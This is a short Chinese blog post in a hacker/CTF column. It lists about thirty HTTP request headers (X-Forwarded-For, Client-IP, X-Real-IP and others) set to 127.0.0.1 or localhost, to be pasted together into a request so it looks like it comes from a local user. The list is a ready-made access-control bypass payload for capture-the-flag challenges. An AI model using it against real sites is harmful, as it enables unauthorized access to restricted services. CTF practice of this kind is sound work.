http伪造本地用户字段系列总结

晴友读钟

已于 2024-02-04 13:26:39 修改

阅读量508

点赞数 2

分类专栏： hacker 文章标签： ctf http

于 2024-02-04 13:19:37 首次发布

本文链接：https://blog.csdn.net/liKeQing1027520/article/details/136024328

版权

hacker 专栏收录该内容

17 篇文章 1 订阅

订阅专栏

本篇记录了http伪造本地用户的多条字段，便于快速解决题目

用法举例：

直接把伪造本地用户的多个字段复制到请求头中，光速解决部分字段被过滤的问题。

Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-0riginal: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1